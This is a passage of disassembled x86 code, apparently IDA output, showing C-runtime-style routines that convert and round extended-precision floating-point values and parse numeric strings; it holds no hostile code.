loc_412060:				; CODE XREF: sub_411D19+372j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_412060
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41209A:				; CODE XREF: sub_411D19+398j
		cmp	edx, eax
		jl	short loc_4120A6
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_4120AB
; ---------------------------------------------------------------------------

loc_4120A6:				; CODE XREF: sub_411D19+383j
		and	[ebp+edx*4+var_20], 0

loc_4120AB:				; CODE XREF: sub_411D19+38Bj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41209A

loc_4120B3:				; CODE XREF: sub_411D19+188j
		push	2
		xor	ebx, ebx
		pop	eax
		jmp	loc_412217
; ---------------------------------------------------------------------------

loc_4120BD:				; CODE XREF: sub_411D19+18Fj
		cmp	ebx, dword_424230
		mov	ecx, dword_42423C
		jl	loc_41217C
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		or	[ebp+var_20], 80000000h
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_4120F8
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_4120F8:				; CODE XREF: sub_411D19+3D8j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_412113:				; CODE XREF: sub_411D19+425j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_412113
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41214D:				; CODE XREF: sub_411D19+44Bj
		cmp	edx, eax
		jl	short loc_412159
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41215E
; ---------------------------------------------------------------------------

loc_412159:				; CODE XREF: sub_411D19+436j
		and	[ebp+edx*4+var_20], 0

loc_41215E:				; CODE XREF: sub_411D19+43Ej
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41214D
		mov	eax, dword_424230
		mov	ecx, dword_424244
		lea	ebx, [ecx+eax]
		xor	eax, eax
		inc	eax
		jmp	loc_412217
; ---------------------------------------------------------------------------

loc_41217C:				; CODE XREF: sub_411D19+3B0j
		mov	eax, dword_424244
		and	[ebp+var_20], 7FFFFFFFh
		add	ebx, eax
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_4121A4
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_4121A4:				; CODE XREF: sub_411D19+484j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	esi, 0FFFFFFFFh
		mov	ecx, edx
		shl	esi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	esi

loc_4121BF:				; CODE XREF: sub_411D19+4D4j
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+ecx*4+var_20]
		mov	ecx, edi
		and	ecx, esi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	edi, [ebp+var_C]
		mov	[ebp+ecx*4+var_20], edi
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		shl	edi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], edi
		jl	short loc_4121BF
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_4121FC:				; CODE XREF: sub_411D19+4FAj
		cmp	edx, eax
		jl	short loc_412208
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41220D
; ---------------------------------------------------------------------------

loc_412208:				; CODE XREF: sub_411D19+4E5j
		and	[ebp+edx*4+var_20], 0

loc_41220D:				; CODE XREF: sub_411D19+4EDj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_4121FC
		xor	eax, eax

loc_412217:				; CODE XREF: sub_411D19+39Fj
					; sub_411D19+45Ej
		pop	esi

loc_412218:				; CODE XREF: sub_411D19+55j
					; sub_411D19+65j
		push	1Fh
		pop	ecx
		sub	ecx, dword_42423C
		shl	ebx, cl
		mov	ecx, [ebp+var_14]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		mov	ecx, dword_424240
		or	ebx, [ebp+var_20]
		cmp	ecx, 40h
		jnz	short loc_41224D
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_412257
; ---------------------------------------------------------------------------

loc_41224D:				; CODE XREF: sub_411D19+525j
		cmp	ecx, 20h
		jnz	short loc_412257
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx

loc_412257:				; CODE XREF: sub_411D19+532j
					; sub_411D19+537j
		pop	edi
		pop	ebx
		leave
		retn
sub_411D19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41225B	proc near		; CODE XREF: sub_411903+44p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		push	edi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_18], eax
		jnz	short loc_4122C5
		xor	ebx, ebx
		xor	eax, eax

loc_4122A2:				; CODE XREF: sub_41225B+51j
		cmp	[ebp+eax*4+var_20], ebx
		jnz	short loc_4122B5
		inc	eax
		cmp	eax, 3
		jl	short loc_4122A2
		xor	eax, eax
		jmp	loc_41275A
; ---------------------------------------------------------------------------

loc_4122B5:				; CODE XREF: sub_41225B+4Bj
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		push	2
		stosd
		pop	eax
		jmp	loc_41275A
; ---------------------------------------------------------------------------

loc_4122C5:				; CODE XREF: sub_41225B+41j
		and	[ebp+arg_0], 0
		push	esi
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		movsd
		mov	esi, dword_424250
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		jns	short loc_4122FD
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_4122FD:				; CODE XREF: sub_41225B+9Bj
		lea	edi, [ebp+eax*4+var_20]
		push	1Fh
		xor	eax, eax
		pop	ecx
		sub	ecx, edx
		inc	eax
		shl	eax, cl
		mov	[ebp+var_8], ecx
		test	[edi], eax
		jz	loc_4123A3
		mov	eax, [ebp+var_C]
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41232B
; ---------------------------------------------------------------------------

loc_412326:				; CODE XREF: sub_41225B+D6j
		cmp	[ebp+eax*4+var_20], 0

loc_41232B:				; CODE XREF: sub_41225B+C9j
		jnz	short loc_412335
		inc	eax
		cmp	eax, 3
		jl	short loc_412326
		jmp	short loc_4123A3
; ---------------------------------------------------------------------------

loc_412335:				; CODE XREF: sub_41225B:loc_41232Bj
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41234F
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_41234F:				; CODE XREF: sub_41225B+EDj
		and	[ebp+var_4], 0
		sub	ecx, esi
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		add	esi, edx
		mov	[ebp+arg_0], esi
		mov	esi, [ecx]
		cmp	[ebp+arg_0], esi
		jb	short loc_41238E
		cmp	[ebp+arg_0], edx
		jmp	short loc_41238C
; ---------------------------------------------------------------------------

loc_412371:				; CODE XREF: sub_41225B+143j
		test	ecx, ecx
		jz	short loc_4123A0
		and	[ebp+var_4], 0
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		cmp	esi, edx
		mov	[ebp+arg_0], esi
		jb	short loc_41238E
		cmp	esi, 1

loc_41238C:				; CODE XREF: sub_41225B+114j
		jnb	short loc_412395

loc_41238E:				; CODE XREF: sub_41225B+10Fj
					; sub_41225B+12Cj
		mov	[ebp+var_4], 1

loc_412395:				; CODE XREF: sub_41225B:loc_41238Cj
		dec	eax
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_4]
		jns	short loc_412371

loc_4123A0:				; CODE XREF: sub_41225B+118j
		mov	[ebp+arg_0], ecx

loc_4123A3:				; CODE XREF: sub_41225B+B5j
					; sub_41225B+D8j
		mov	ecx, [ebp+var_8]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[edi], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_4123C3
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_4123C3:				; CODE XREF: sub_41225B+159j
		cmp	[ebp+arg_0], 0
		jz	short loc_4123CA
		inc	ebx

loc_4123CA:				; CODE XREF: sub_41225B+16Cj
		mov	eax, dword_42424C
		mov	ecx, eax
		sub	ecx, dword_424250
		cmp	ebx, ecx
		jge	short loc_4123E8
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		jmp	loc_4125F5
; ---------------------------------------------------------------------------

loc_4123E8:				; CODE XREF: sub_41225B+17Ej
		cmp	ebx, eax
		jg	loc_4125FF
		sub	eax, [ebp+var_10]
		lea	esi, [ebp+var_2C]
		mov	ecx, eax
		lea	edi, [ebp+var_20]
		movsd
		cdq
		and	edx, 1Fh
		add	eax, edx
		movsd
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		movsd
		jns	short loc_412416
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_412416:				; CODE XREF: sub_41225B+1B4j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_412431:				; CODE XREF: sub_41225B+201j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_412431
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41246B:				; CODE XREF: sub_41225B+227j
		cmp	edx, eax
		jl	short loc_412477
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41247C
; ---------------------------------------------------------------------------

loc_412477:				; CODE XREF: sub_41225B+212j
		and	[ebp+edx*4+var_20], 0

loc_41247C:				; CODE XREF: sub_41225B+21Aj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41246B
		mov	esi, dword_424250
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_C], eax
		jns	short loc_4124AB
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_4124AB:				; CODE XREF: sub_41225B+249j
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ebx, [ebp+eax*4+var_20]
		mov	[ebp+var_10], ecx
		test	[ebx], edx
		jz	loc_412546
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_4124D6
; ---------------------------------------------------------------------------

loc_4124D1:				; CODE XREF: sub_41225B+281j
		cmp	[ebp+eax*4+var_20], 0

loc_4124D6:				; CODE XREF: sub_41225B+274j
		jnz	short loc_4124E0
		inc	eax
		cmp	eax, 3
		jl	short loc_4124D1
		jmp	short loc_412546
; ---------------------------------------------------------------------------

loc_4124E0:				; CODE XREF: sub_41225B:loc_4124D6j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_4124FA
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_4124FA:				; CODE XREF: sub_41225B+298j
		and	[ebp+arg_0], 0
		xor	edx, edx
		sub	ecx, esi
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		lea	edi, [esi+edx]
		cmp	edi, esi
		jb	short loc_412516
		cmp	edi, edx
		jnb	short loc_41251D

loc_412516:				; CODE XREF: sub_41225B+2B5j
		mov	[ebp+arg_0], 1

loc_41251D:				; CODE XREF: sub_41225B+2B9j
		mov	[ecx], edi
		mov	ecx, [ebp+arg_0]
		jmp	short loc_412543
; ---------------------------------------------------------------------------

loc_412524:				; CODE XREF: sub_41225B+2E9j
		test	ecx, ecx
		jz	short loc_412546
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		xor	edi, edi
		cmp	esi, edx
		jb	short loc_41253C
		cmp	esi, 1
		jnb	short loc_41253F

loc_41253C:				; CODE XREF: sub_41225B+2DAj
		xor	edi, edi
		inc	edi

loc_41253F:				; CODE XREF: sub_41225B+2DFj
		mov	[ecx], esi
		mov	ecx, edi

loc_412543:				; CODE XREF: sub_41225B+2C7j
		dec	eax
		jns	short loc_412524

loc_412546:				; CODE XREF: sub_41225B+263j
					; sub_41225B+283j ...
		mov	ecx, [ebp+var_10]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[ebx], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_412566
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_412566:				; CODE XREF: sub_41225B+2FCj
		mov	ecx, dword_424254
		inc	ecx
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_412587
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_412587:				; CODE XREF: sub_41225B+325j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_4125A2:				; CODE XREF: sub_41225B+372j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_4125A2
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_4125DC:				; CODE XREF: sub_41225B+398j
		cmp	edx, eax
		jl	short loc_4125E8
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_4125ED
; ---------------------------------------------------------------------------

loc_4125E8:				; CODE XREF: sub_41225B+383j
		and	[ebp+edx*4+var_20], 0

loc_4125ED:				; CODE XREF: sub_41225B+38Bj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_4125DC

loc_4125F5:				; CODE XREF: sub_41225B+188j
		push	2
		xor	ebx, ebx
		pop	eax
		jmp	loc_412759
; ---------------------------------------------------------------------------

loc_4125FF:				; CODE XREF: sub_41225B+18Fj
		cmp	ebx, dword_424248
		mov	ecx, dword_424254
		jl	loc_4126BE
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		or	[ebp+var_20], 80000000h
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41263A
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41263A:				; CODE XREF: sub_41225B+3D8j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_412655:				; CODE XREF: sub_41225B+425j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_412655
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41268F:				; CODE XREF: sub_41225B+44Bj
		cmp	edx, eax
		jl	short loc_41269B
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_4126A0
; ---------------------------------------------------------------------------

loc_41269B:				; CODE XREF: sub_41225B+436j
		and	[ebp+edx*4+var_20], 0

loc_4126A0:				; CODE XREF: sub_41225B+43Ej
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41268F
		mov	eax, dword_424248
		mov	ecx, dword_42425C
		lea	ebx, [ecx+eax]
		xor	eax, eax
		inc	eax
		jmp	loc_412759
; ---------------------------------------------------------------------------

loc_4126BE:				; CODE XREF: sub_41225B+3B0j
		mov	eax, dword_42425C
		and	[ebp+var_20], 7FFFFFFFh
		add	ebx, eax
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_4126E6
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_4126E6:				; CODE XREF: sub_41225B+484j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	esi, 0FFFFFFFFh
		mov	ecx, edx
		shl	esi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	esi

loc_412701:				; CODE XREF: sub_41225B+4D4j
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+ecx*4+var_20]
		mov	ecx, edi
		and	ecx, esi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	edi, [ebp+var_C]
		mov	[ebp+ecx*4+var_20], edi
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		shl	edi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], edi
		jl	short loc_412701
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41273E:				; CODE XREF: sub_41225B+4FAj
		cmp	edx, eax
		jl	short loc_41274A
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41274F
; ---------------------------------------------------------------------------

loc_41274A:				; CODE XREF: sub_41225B+4E5j
		and	[ebp+edx*4+var_20], 0

loc_41274F:				; CODE XREF: sub_41225B+4EDj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41273E
		xor	eax, eax

loc_412759:				; CODE XREF: sub_41225B+39Fj
					; sub_41225B+45Ej
		pop	esi

loc_41275A:				; CODE XREF: sub_41225B+55j
					; sub_41225B+65j
		push	1Fh
		pop	ecx
		sub	ecx, dword_424254
		shl	ebx, cl
		mov	ecx, [ebp+var_14]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		mov	ecx, dword_424258
		or	ebx, [ebp+var_20]
		cmp	ecx, 40h
		jnz	short loc_41278F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_412799
; ---------------------------------------------------------------------------

loc_41278F:				; CODE XREF: sub_41225B+525j
		cmp	ecx, 20h
		jnz	short loc_412799
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx

loc_412799:				; CODE XREF: sub_41225B+532j
					; sub_41225B+537j
		pop	edi
		pop	ebx
		leave
		retn
sub_41225B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41279D	proc near		; CODE XREF: sub_41185D+37p
					; sub_411903+37p

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_46		= dword	ptr -46h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_9		= byte ptr -9
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		xor	esi, esi
		mov	[ebp+var_7C], eax
		mov	eax, [ebp+arg_4]
		inc	esi
		xor	ecx, ecx
		cmp	[ebp+arg_1C], ebx
		push	edi
		mov	[ebp+var_70], eax
		lea	edi, [ebp+var_20]
		mov	[ebp+var_74], ebx
		mov	[ebp+var_68], esi
		mov	[ebp+var_4C], ebx
		mov	[ebp+var_58], ebx
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_60], ebx
		mov	[ebp+var_64], ebx
		mov	[ebp+var_50], ebx
		mov	[ebp+var_6C], ebx
		jnz	short loc_412805
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		xor	eax, eax
		jmp	loc_412E1F
; ---------------------------------------------------------------------------

loc_412805:				; CODE XREF: sub_41279D+47j
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_54], edx

loc_41280B:				; CODE XREF: sub_41279D+81j
		mov	al, [edx]
		cmp	al, 20h
		jz	short loc_41281D
		cmp	al, 9
		jz	short loc_41281D
		cmp	al, 0Ah
		jz	short loc_41281D
		cmp	al, 0Dh
		jnz	short loc_412820

loc_41281D:				; CODE XREF: sub_41279D+72j
					; sub_41279D+76j ...
		inc	edx
		jmp	short loc_41280B
; ---------------------------------------------------------------------------

loc_412820:				; CODE XREF: sub_41279D+7Ej
		mov	bl, 30h

loc_412822:				; CODE XREF: sub_41279D+A6j
					; sub_41279D+BCj ...
		mov	al, [edx]
		inc	edx
		cmp	ecx, 0Bh	; switch 12 cases
		ja	loc_412A5D	; default
					; jumptable 0041282E case 10
		jmp	ds:off_412E31[ecx*4] ; switch jump

loc_412835:				; DATA XREF: .text:off_412E31o
		mov	cl, al		; jumptable 0041282E case 0
		sub	cl, 31h
		cmp	cl, 8
		ja	short loc_412845

loc_41283F:				; CODE XREF: sub_41279D+F7j
					; sub_41279D+14Aj
		push	3

loc_412841:				; CODE XREF: sub_41279D+201j
					; sub_41279D+218j
		pop	ecx
		dec	edx
		jmp	short loc_412822
; ---------------------------------------------------------------------------

loc_412845:				; CODE XREF: sub_41279D+A0j
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jnz	short loc_41285B

loc_412856:				; CODE XREF: sub_41279D+15Fj
		push	5

loc_412858:				; CODE XREF: sub_41279D+10Cj
					; sub_41279D+138j ...
		pop	ecx
		jmp	short loc_412822
; ---------------------------------------------------------------------------

loc_41285B:				; CODE XREF: sub_41279D+B7j
		movsx	eax, al
		sub	eax, 2Bh
		jz	short loc_412880
		dec	eax
		dec	eax
		jz	short loc_412874
		sub	eax, 3
		jnz	loc_4129FB

loc_412870:				; CODE XREF: sub_41279D+118j
					; sub_41279D+167j
		mov	ecx, esi
		jmp	short loc_412822
; ---------------------------------------------------------------------------

loc_412874:				; CODE XREF: sub_41279D+C8j
		push	2
		pop	ecx
		mov	[ebp+var_74], 8000h
		jmp	short loc_412822
; ---------------------------------------------------------------------------

loc_412880:				; CODE XREF: sub_41279D+C4j
		and	[ebp+var_74], 0
		push	2
		pop	ecx
		jmp	short loc_412822
; ---------------------------------------------------------------------------

loc_412889:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		mov	cl, al		; jumptable 0041282E case 1
		sub	cl, 31h
		cmp	cl, 8
		mov	[ebp+var_58], esi
		jbe	short loc_41283F
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jnz	short loc_4128AB

loc_4128A7:				; CODE XREF: sub_41279D+1A7j
		push	4
		jmp	short loc_412858
; ---------------------------------------------------------------------------

loc_4128AB:				; CODE XREF: sub_41279D+108j
		cmp	al, 2Bh
		jz	short loc_4128D7
		cmp	al, 2Dh
		jz	short loc_4128D7
		cmp	al, bl
		jz	short loc_412870

loc_4128B7:				; CODE XREF: sub_41279D+1B5j
		cmp	al, 43h
		jle	loc_4129FB
		cmp	al, 45h
		jle	short loc_4128D3
		cmp	al, 63h
		jle	loc_4129FB
		cmp	al, 65h
		jg	loc_4129FB

loc_4128D3:				; CODE XREF: sub_41279D+124j
		push	6
		jmp	short loc_412858
; ---------------------------------------------------------------------------

loc_4128D7:				; CODE XREF: sub_41279D+110j
					; sub_41279D+114j ...
		dec	edx
		push	0Bh
		jmp	loc_412858
; ---------------------------------------------------------------------------

loc_4128DF:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		mov	cl, al		; jumptable 0041282E case 2
		sub	cl, 31h
		cmp	cl, 8
		jbe	loc_41283F
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jz	loc_412856
		cmp	al, bl
		jz	loc_412870

loc_41290A:				; CODE XREF: sub_41279D+1F9j
					; sub_41279D:loc_4129C9j
		mov	edx, [ebp+var_54]
		jmp	loc_412A26
; ---------------------------------------------------------------------------

loc_412912:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		mov	[ebp+var_58], esi ; jumptable 0041282E case 3
		jmp	short loc_412931
; ---------------------------------------------------------------------------

